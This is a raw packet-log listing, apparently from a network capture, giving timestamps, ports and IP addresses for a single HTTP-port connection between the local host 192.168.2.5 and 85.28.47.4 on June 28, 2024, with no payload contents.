Jun 28, 2024 13:35:59.962511063 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.962512016 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.964524984 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.964541912 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.964551926 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.964560986 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.964570999 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.964576960 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.964581966 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.964591026 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.964602947 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.964602947 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.964627028 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.964627028 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.964658022 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.964663982 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.964700937 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.964720011 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.964730978 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.964740038 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.964751959 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.964756966 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.964795113 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.964795113 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.964795113 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.964907885 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.964917898 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.964927912 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.964939117 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:35:59.964951038 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.964987040 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:35:59.964987040 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:00.027183056 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:00.027205944 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:00.027218103 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:00.027260065 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:00.027308941 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:00.027426004 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:00.027436972 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:00.027446985 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:00.027456999 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:00.027492046 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:00.027492046 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:00.035943985 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:00.035958052 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:00.035969973 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:00.036015987 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:00.036021948 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:00.036022902 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:00.036026955 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:00.036037922 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:00.036047935 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:00.036048889 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:00.036067009 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:00.036091089 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:00.036092043 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:00.043543100 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:00.043555021 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:00.043565035 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:00.043616056 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:00.043646097 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:00.043952942 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:00.043965101 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:00.043975115 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:00.044003010 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:00.044003963 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:00.044011116 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:00.044019938 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:00.044025898 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:00.044029951 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:00.044034958 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:00.044044971 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:00.044090033 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:00.044090033 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:00.044159889 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:00.044171095 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:00.044205904 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:00.044264078 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:00.044275045 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:00.044285059 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:00.044295073 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:00.044305086 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:00.044313908 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:00.044316053 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:00.044325113 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:00.044337988 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:00.044368029 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:00.044368029 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:00.044616938 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:00.044627905 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:00.044636965 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:00.044647932 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:00.044658899 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:00.044667959 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:00.044672966 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:00.044707060 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:00.044707060 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:00.058517933 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:00.058556080 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:00.058567047 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:00.058598042 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:00.058645010 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:00.058665037 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:00.058675051 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:00.058684111 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:00.058696032 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:00.058713913 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:00.058747053 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:00.058747053 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:00.058921099 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:00.058932066 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:00.058942080 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:00.058947086 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:00.058953047 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:00.058963060 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:00.058971882 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:00.058983088 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:00.058988094 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:00.059000015 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:00.059004068 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:00.059022903 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:00.059051037 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:00.059231043 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:00.059242010 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:00.059252024 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:00.059278965 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:00.059304953 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:00.059324026 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:00.059334993 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:00.059345007 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:00.059355021 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:00.059365034 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:00.059376001 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:00.059386015 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:00.059385061 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:00.059385061 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:00.059396029 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:00.059406042 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:00.059425116 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:00.059468985 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:00.059732914 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:00.059743881 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:00.059753895 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:00.059765100 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:00.059776068 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:00.059779882 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:00.059818029 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:00.059844971 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:00.059871912 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:00.059883118 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:00.059892893 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:00.059915066 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:00.059921026 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:00.059931040 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:00.059941053 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:00.059948921 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:00.059951067 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:00.059961081 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:00.059969902 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:00.059971094 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:00.059982061 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:00.059988022 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:00.059990883 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:00.060002089 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:00.060008049 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:00.060012102 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:00.060023069 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:00.060024023 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:00.060033083 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:00.060041904 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:00.060050964 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:00.060055971 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:00.060080051 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:00.060081005 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:00.060102940 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:00.062371969 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:00.062427044 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:00.062525988 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:00.062536955 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:00.062577963 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:00.338224888 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:00.343117952 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:01.057476997 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:01.057564020 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:01.143697023 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:01.148720980 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:01.868834972 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:01.868907928 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:02.438541889 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:02.443572998 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:03.152873039 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:03.153058052 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:03.445872068 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:03.641026020 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:03.813365936 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:03.813383102 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:03.813393116 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:03.813436985 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:03.813448906 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:03.813458920 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:03.813555956 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:03.813555956 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:03.813555956 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:03.813581944 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:03.813591957 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:03.813601971 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:03.813654900 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:03.813654900 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:03.813671112 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:03.813682079 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:03.813692093 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:03.813703060 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:03.813710928 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:03.813730955 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:03.813759089 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:03.813777924 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:03.813793898 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:03.813824892 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:03.813824892 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:03.895950079 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:03.895962954 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:03.895972967 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:03.895983934 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:03.895994902 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:03.896091938 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:03.896107912 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:03.896120071 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:03.896128893 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:03.896140099 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:03.896137953 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:03.896138906 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:03.896138906 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:03.896150112 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:03.896190882 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:03.896190882 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:03.896253109 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:03.896269083 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:03.896277905 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:03.896289110 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:03.896297932 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:03.896300077 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:03.896308899 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:03.896320105 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:03.896320105 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:03.896348953 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:03.896378994 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:03.896610975 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:03.896621943 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:03.896631002 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:03.896641970 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:03.896651983 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:03.896667957 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:03.896678925 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:03.896687984 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:03.896694899 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:03.896724939 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:03.896744013 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:03.896744967 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:03.896755934 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:03.896787882 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:03.978152990 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:03.978163958 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:03.978184938 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:03.978199959 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:03.978209019 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:03.978219032 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:03.978265047 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:03.978336096 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:03.978336096 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:03.978336096 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:03.978336096 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:03.978586912 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:03.978645086 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:03.978646994 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:03.978657961 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:03.978692055 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:03.978722095 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:03.978744984 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:03.978754997 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:03.978764057 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:03.978773117 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:03.978784084 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:03.978802919 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:03.978837013 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:03.978837967 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:03.978933096 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:03.978943110 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:03.978951931 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:03.978962898 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:03.978981972 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:03.979012012 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:03.979012012 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:03.979065895 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:03.979075909 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:03.979084969 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:03.979094982 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:03.979104042 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:03.979106903 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:03.979119062 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:03.979126930 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:03.979144096 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:03.979170084 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:03.979322910 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:03.979334116 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:03.979342937 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:03.979352951 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:03.979362965 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:03.979372978 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:03.979377031 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:03.979382992 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:03.979393959 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:03.979402065 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:03.979418039 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:03.979465008 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:03.979573011 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:03.979593039 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:03.979603052 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:03.979640961 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:03.979640961 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:03.979640961 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:03.979734898 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:03.979744911 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:03.979758024 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:03.979768038 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:03.979777098 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:03.979787111 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:03.979815960 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:03.979844093 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:03.979857922 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:03.979868889 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:03.979897022 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:03.979926109 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:03.979973078 CEST	80	49705	85.28.47.4	192.168.2.5
